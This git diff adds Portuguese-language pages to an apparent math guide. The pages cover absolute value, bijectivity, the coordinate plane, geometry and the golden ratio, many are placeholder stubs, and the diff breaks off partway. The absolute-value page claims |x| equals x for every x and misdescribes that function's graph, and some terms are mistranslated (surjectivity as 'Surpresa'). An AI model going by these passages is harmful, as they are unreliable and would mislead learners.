+localeTitle: Valor absoluto
+---
+## Valor absoluto
+
+Dizer x absoluto é escrevê-lo como | x |. dizer y absoluto é escrevê-lo como | y |. você consegue.
+
+Absolute Value Functions são muito simples. Eles basicamente significam que tudo o que está ao lado do | terá um valor positivo. Significado | 2 | e | -2 | ambos são iguais a 2. | 3 | e | -3 | ambos são iguais a 3. | x | e | -x | ambos são iguais a x. Basta seguir os seguintes problemas para aprender mais.
+
+Problema: - | x | = 5 Daqui, pegue as estradas. Primeira estrada vai: - Remova o sinal absloute do lado direito da equação. A equação torna-se: - x = 5 (resolvido)
+
+A segunda estrada vai: - Remova o sinal absloute do lado direito da equação e adicione um sinal de menos para o lado esquerdo e faça com que fique assim - ("lado esquerdo"). A equação torna-se: - x = - (5) que é basicamente: x = -5 (resolvido)
+
+Portanto, a solução é x = 5 ou -5 (ambos 5 e -5 são as soluções corretas, porque x pode ser e x absoluto ainda será igual a 5)
+
+As palavras-chave são o "lado direito" e o "lado esquerdo".
+
+Próxima equação: -
+
+Problema:- 2 + | x | = 5
+
+Primeiro, pegue x sozinho de um lado: | x | = 5 - 2 | x | = 3
+
+Agora estrada 1: - | x | = 3 x = 3 (resolvido)
+
+Estrada 2: - | x | = 3 x = - (3) x = -3
+
+solução é: - x = 3 ou -3.
+
+Próxima equação: - | x | ^ 2 = 16
+
+Primeiro, pegue x sozinho de um lado: | x | = sqroot (16) | x | = 4
+
+Agora estrada 1: - | x | = 4 x = 4 (resolvido)
+
+Estrada 2: - | x | = 4 x = - (4) x = -4
+
+solução é: - x = 4 ou -4
+
+Agora vamos verificar algumas falácias lógicas em problemas de álgebra:
+
+Em funções absolutas | x | nunca será igual a um número negativo. por exemplo (o seguinte problema está errado, significa que não é logicamente possível): | x | = -1 você pode resolver o problema, mas todas as soluções estarão erradas porque o problema em si é impossível.
+
+Então, sempre que você ver um absoluto | x | sendo a variável igual a um número negativo, basta ignorar o problema ou anotar "o problema em si é impossível porque as variáveis ​​absolutas não podem ser iguais a números negativistas".
+
+Também variáveis ​​absolutas não podem ser menores que 0, então o problema "| x | <0" também está errado (logicamente impossível).
+
+Além disso, sempre que uma variável absoluta é igual a 0, esse zero pode ser uma raiz dupla em alguns casos.
+
+O gráfico das funções absolutas são apenas duas linhas retas. por exemplo, se x = 4 ou -4, então haverá uma linha vertical reta em x = 4 e x = -4.
+
+Este é um guia rápido para funções absolutas. mais informações estão disponíveis na web.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/bijectivity/index.md b/client/src/guide/portuguese/mathematics/functions/bijectivity/index.md
new file mode 100644
index 0000000000..471bbfed3b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/bijectivity/index.md
@@ -0,0 +1,31 @@
+---
+title: Bijectivity
+localeTitle: Bijetividade
+---
+## Bijetividade
+
+### Uma função bijetiva é uma função que é tanto injetiva quanto superjetiva.
+
+#### Função Injetora
+
+Para uma função ser injetiva, ou um-para-um, todo elemento do codomain deve ser mapeado para um elemento único do domínio. Cada valor X tem seu próprio valor Y especial.
+
+![injetivo](http://images.tutorvista.com/cms/images/113/injective-function.png) "Uma função injetiva"
+
+#### Função Surjectiva
+
+Para uma função ser comutativa, ou para, todo elemento codomain é mapeado para ser pelo menos um elemento do domínio. Cada valor Y tem pelo menos um valor X.
+
+![com objetivo](http://images.tutorvista.com/cms/images/113/surjective-function.png) "Uma Função Surjetiva"
+
+#### Função Bijetiva
+
+Para que uma função seja uma bijeção, ou uma correspondência um-para-um, a função deve ser tanto injetiva quanto superjetiva. Todos os elementos do codomain mapeiam exatamente um elemento do domínio. A cardinalidade (ou número de elementos) do codomain e o domínio são iguais.
+
+![bijetivo](http://images.tutorvista.com/cms/images/113/bijective-function.png) "Uma função bijetiva"
+
+#### Mais Informações:
+
+*   [artigo da wikipedia sobre funções](https://en.wikipedia.org/wiki/Bijection,_injection_and_surjection)
+*   [mais funções](http://www.tutorvista.com/content/math/different-types-of-functions/)
+*   [ótimo para pessoas novas para matemática](https://www.mathsisfun.com/sets/injective-surjective-bijective.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/composition/index.md b/client/src/guide/portuguese/mathematics/functions/composition/index.md
new file mode 100644
index 0000000000..bdd6045195
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/composition/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition
+localeTitle: Composição
+---
+## Composição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/composition/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/domain-and-codomain/index.md b/client/src/guide/portuguese/mathematics/functions/domain-and-codomain/index.md
new file mode 100644
index 0000000000..cf81797559
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/domain-and-codomain/index.md
@@ -0,0 +1,11 @@
+---
+title: Domain and Codomain
+localeTitle: Domínio e Codomain
+---
+## Domínio e Codomain
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/domain-and-codomain/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/exponentials/index.md b/client/src/guide/portuguese/mathematics/functions/exponentials/index.md
new file mode 100644
index 0000000000..b21f3f88a5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/exponentials/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponentials
+localeTitle: Exponenciais
+---
+## Exponenciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/exponentials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/fibonacci-and-ackermann/index.md b/client/src/guide/portuguese/mathematics/functions/fibonacci-and-ackermann/index.md
new file mode 100644
index 0000000000..be76de4958
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/fibonacci-and-ackermann/index.md
@@ -0,0 +1,11 @@
+---
+title: Fibonacci and Ackermann
+localeTitle: Fibonacci e Ackermann
+---
+## Fibonacci e Ackermann
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/fibonacci-and-ackermann/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/floor-and-ceiling/index.md b/client/src/guide/portuguese/mathematics/functions/floor-and-ceiling/index.md
new file mode 100644
index 0000000000..55e81e65be
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/floor-and-ceiling/index.md
@@ -0,0 +1,11 @@
+---
+title: Floor and Ceiling
+localeTitle: Chão e teto
+---
+## Chão e teto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/floor-and-ceiling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/functions-are-relations/index.md b/client/src/guide/portuguese/mathematics/functions/functions-are-relations/index.md
new file mode 100644
index 0000000000..f80ca04a8c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/functions-are-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions Are Relations
+localeTitle: Funções são relações
+---
+## Funções são relações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/functions-are-relations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/image-and-range/index.md b/client/src/guide/portuguese/mathematics/functions/image-and-range/index.md
new file mode 100644
index 0000000000..2a1727f6bd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/image-and-range/index.md
@@ -0,0 +1,11 @@
+---
+title: Image and Range
+localeTitle: Imagem e Intervalo
+---
+## Imagem e Intervalo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/image-and-range/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/index.md b/client/src/guide/portuguese/mathematics/functions/index.md
new file mode 100644
index 0000000000..3c98d2ae9e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions
+localeTitle: Funções
+---
+## Funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/injectivity/index.md b/client/src/guide/portuguese/mathematics/functions/injectivity/index.md
new file mode 100644
index 0000000000..01f41a659a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/injectivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Injectivity
+localeTitle: Injetividade
+---
+## Injetividade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/injectivity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/invertibility/index.md b/client/src/guide/portuguese/mathematics/functions/invertibility/index.md
new file mode 100644
index 0000000000..97bec4f785
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/invertibility/index.md
@@ -0,0 +1,11 @@
+---
+title: Invertibility
+localeTitle: Invertibilidade
+---
+## Invertibilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/invertibility/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/logarithms/index.md b/client/src/guide/portuguese/mathematics/functions/logarithms/index.md
new file mode 100644
index 0000000000..0956638298
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithms
+localeTitle: Logaritmos
+---
+## Logaritmos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/logarithms/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/modulo-versus-modular/index.md b/client/src/guide/portuguese/mathematics/functions/modulo-versus-modular/index.md
new file mode 100644
index 0000000000..5eefe0f503
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/modulo-versus-modular/index.md
@@ -0,0 +1,11 @@
+---
+title: Modulo Versus Modular
+localeTitle: Módulo Versus Modular
+---
+## Módulo Versus Modular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/modulo-versus-modular/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/recursively-defined-functions/index.md b/client/src/guide/portuguese/mathematics/functions/recursively-defined-functions/index.md
new file mode 100644
index 0000000000..891c0058c7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/recursively-defined-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Recursively Defined Functions
+localeTitle: Funções Definidas Recursivamente
+---
+## Funções Definidas Recursivamente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/recursively-defined-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/functions/surjectivity/index.md b/client/src/guide/portuguese/mathematics/functions/surjectivity/index.md
new file mode 100644
index 0000000000..807793aad2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/functions/surjectivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Surjectivity
+localeTitle: Surpresa
+---
+## Surpresa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/surjectivity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/gamma-function/index.md b/client/src/guide/portuguese/mathematics/gamma-function/index.md
new file mode 100644
index 0000000000..afedff930d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/gamma-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Gamma Function
+localeTitle: Função Gama
+---
+## Função Gama
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/gamma-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/geometric-sequences-and-sums/index.md b/client/src/guide/portuguese/mathematics/geometric-sequences-and-sums/index.md
new file mode 100644
index 0000000000..3babf199c9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/geometric-sequences-and-sums/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Sequences and Sums
+localeTitle: Sequências geométricas e somas
+---
+## Sequências geométricas e somas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-sequences-and-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/geometric-series-with-sigma-notation/index.md b/client/src/guide/portuguese/mathematics/geometric-series-with-sigma-notation/index.md
new file mode 100644
index 0000000000..7bda1386e2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/geometric-series-with-sigma-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Series with Sigma Notation
+localeTitle: Série geométrica com notação Sigma
+---
+## Série geométrica com notação Sigma
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-series-with-sigma-notation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/geometric-series/index.md b/client/src/guide/portuguese/mathematics/geometric-series/index.md
new file mode 100644
index 0000000000..cb9558e00d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/geometric-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Series
+localeTitle: Séries geométricas
+---
+## Séries geométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/geometry/coordinate-plane/index.md b/client/src/guide/portuguese/mathematics/geometry/coordinate-plane/index.md
new file mode 100644
index 0000000000..193859f566
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/geometry/coordinate-plane/index.md
@@ -0,0 +1,13 @@
+---
+title: Coordinate Plane
+localeTitle: Plano coordenado
+---
+## Plano coordenado
+
+Um plano de coordenadas é um plano no qual existe um sistema de coordenadas, de modo que todos os pontos no plano podem ser únicos, determinados por uma tupla de ordem (mais comumente um par). Um plano de coordenadas, como com um sistema de coordenadas em qualquer número de dimensões, ajuda a transformar problemas em geometria em problemas em álgebra e vice-versa.
+
+O plano de coordenadas é frequentemente associado a Descartes. Por isso, também é conhecido como sistema de coordenadas cartesianas.
+
+O plano bidimensional consiste em um eixo x horizontal e um eixo y vertical.
+
+O ponto (0, 0) marca a origem do plano. Qualquer ponto à direita ou à esquerda da origem tem uma coordenada x positiva ou negativa, respectivamente. Correspondentemente, qualquer ponto acima ou abaixo da origem tem um valor y positivo ou negativo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/geometry/index.md b/client/src/guide/portuguese/mathematics/geometry/index.md
new file mode 100644
index 0000000000..2c44c70f42
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/geometry/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometry
+localeTitle: Geometria
+---
+## Geometria
+
+Geometria é o estudo das formas e do espaço em que elas existem. Isso pode ser discutido em tamanho, posição e propriedades da forma. Existem muitos subcampos da geometria:
+
+Geometria euclidiana: O estudo de pontos, linhas, planos, ângulos, triângulos, congruência, similaridade, figuras sólidas e círculos. Geometria diferencial: O uso de cálculo e álgebra linear para estudar problemas em geometria. Topologia: O estudo de propriedades de objetos que não são alterados por mapeamentos contínuos. Geometria convexa: O estudo de formas convexas no espaço euclidiano e análogos abstratos. Geometria algébrica: O estudo da geometria através do uso de polinômios multivariados e outras técnicas. Geometria Discreta: O estudo da posição relativa de objetos geométricos simples, como pontos, linhas e círculos.
+
+#### Mais Informações
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/geometry/shapes/index.md b/client/src/guide/portuguese/mathematics/geometry/shapes/index.md
new file mode 100644
index 0000000000..401098e3da
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/geometry/shapes/index.md
@@ -0,0 +1,5 @@
+---
+title: Shapes
+localeTitle: Formas
+---
+Figuras padrão de geometria incluem formas em si formadas por linhas. Pontos finais são chamados de vértice, triângulos têm 3, quadrados têm 4 deles. em 3 dimensões, você pode ter paralelepípedos, esferas ou cones
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/golden-ratio/index.md b/client/src/guide/portuguese/mathematics/golden-ratio/index.md
new file mode 100644
index 0000000000..c3545ed6a3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/golden-ratio/index.md
@@ -0,0 +1,15 @@
+---
+title: Golden Ratio
+localeTitle: Proporção áurea
+---
+## Proporção áurea
+
+`PHI = φ = 1.61803398875...`
+
+Duas quantidades estão na proporção áurea se a sua relação é a mesma que a razão da sua soma para a quanitidade maior.
+
+Dado um> b> 0, (a + b) / a = a / b = φ
+
+A proporção áurea é irracional e pode ser representada como (1 + √5) / 2.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/gram-schmidt-process/index.md b/client/src/guide/portuguese/mathematics/gram-schmidt-process/index.md
new file mode 100644
index 0000000000..1d3fcb3402
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/gram-schmidt-process/index.md
@@ -0,0 +1,11 @@
+---
+title: Gram Schmidt Process
+localeTitle: Processo de Gram Schmidt
+---
+## Processo de Gram Schmidt
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/gram-schmidt-process/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graph-of-y-equals-sin-x/index.md b/client/src/guide/portuguese/mathematics/graph-of-y-equals-sin-x/index.md
new file mode 100644
index 0000000000..6200174740
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graph-of-y-equals-sin-x/index.md
@@ -0,0 +1,11 @@
+---
+title: Graph of Y Equals Sin X
+localeTitle: Gráfico de Y igual a Sin X
+---
+## Gráfico de Y igual a Sin X
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graph-of-y-equals-sin-x/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphing-a-linear-equation/index.md b/client/src/guide/portuguese/mathematics/graphing-a-linear-equation/index.md
new file mode 100644
index 0000000000..dbe3d577f4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphing-a-linear-equation/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing a Linear Equation
+localeTitle: Representando graficamente uma equação linear
+---
+## Representando graficamente uma equação linear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-a-linear-equation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphing-basic-logarithmic-functions/index.md b/client/src/guide/portuguese/mathematics/graphing-basic-logarithmic-functions/index.md
new file mode 100644
index 0000000000..011c6cd374
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphing-basic-logarithmic-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Basic Logarithmic Functions
+localeTitle: Representando graficamente funções logarítmicas básicas
+---
+## Representando graficamente funções logarítmicas básicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-basic-logarithmic-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphing-linear-inequalities/index.md b/client/src/guide/portuguese/mathematics/graphing-linear-inequalities/index.md
new file mode 100644
index 0000000000..ceec8861a4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphing-linear-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Linear Inequalities
+localeTitle: Representando Desigualdades Lineares
+---
+## Representando Desigualdades Lineares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-linear-inequalities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md b/client/src/guide/portuguese/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md
new file mode 100644
index 0000000000..77a68c198a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Quadratic Functions the Leading Coefficient the Vertex
+localeTitle: Representando graficamente as funções quadráticas, o principal coeficiente do vértice
+---
+## Representando graficamente as funções quadráticas, o principal coeficiente do vértice
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphing-rational-functions-introduction/index.md b/client/src/guide/portuguese/mathematics/graphing-rational-functions-introduction/index.md
new file mode 100644
index 0000000000..4e8cc9eacc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphing-rational-functions-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Rational Functions Introduction
+localeTitle: Representando Gráficos de Funções Racionais Introdução
+---
+## Representando Gráficos de Funções Racionais Introdução
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-rational-functions-introduction/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphing-trigonometric-functions/index.md b/client/src/guide/portuguese/mathematics/graphing-trigonometric-functions/index.md
new file mode 100644
index 0000000000..a12f84b4e0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphing-trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Trigonometric Functions
+localeTitle: Representação gráfica de funções trigonométricas
+---
+## Representação gráfica de funções trigonométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-trigonometric-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphs-of-sine-cosine-and-tangent/index.md b/client/src/guide/portuguese/mathematics/graphs-of-sine-cosine-and-tangent/index.md
new file mode 100644
index 0000000000..936a720909
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphs-of-sine-cosine-and-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Sine Cosine and Tangent
+localeTitle: Gráficos de cosseno senoidal e tangente
+---
+## Gráficos de cosseno senoidal e tangente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphs-of-sine-cosine-and-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/graphs-of-trigonometric-functions/index.md b/client/src/guide/portuguese/mathematics/graphs-of-trigonometric-functions/index.md
new file mode 100644
index 0000000000..e4e5c64ba2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/graphs-of-trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Trigonometric Functions
+localeTitle: Gráficos de funções trigonométricas
+---
+## Gráficos de funções trigonométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphs-of-trigonometric-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/greatest-common-factor/index.md b/client/src/guide/portuguese/mathematics/greatest-common-factor/index.md
new file mode 100644
index 0000000000..23a1aee50d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/greatest-common-factor/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Factor
+localeTitle: Maior Fator Comum
+---
+## Maior Fator Comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/greatest-common-factor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/half-angle-formulas/index.md b/client/src/guide/portuguese/mathematics/half-angle-formulas/index.md
new file mode 100644
index 0000000000..a567db3f0b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/half-angle-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Half Angle Formulas
+localeTitle: Fórmulas Half Angle
+---
+## Fórmulas Half Angle
+
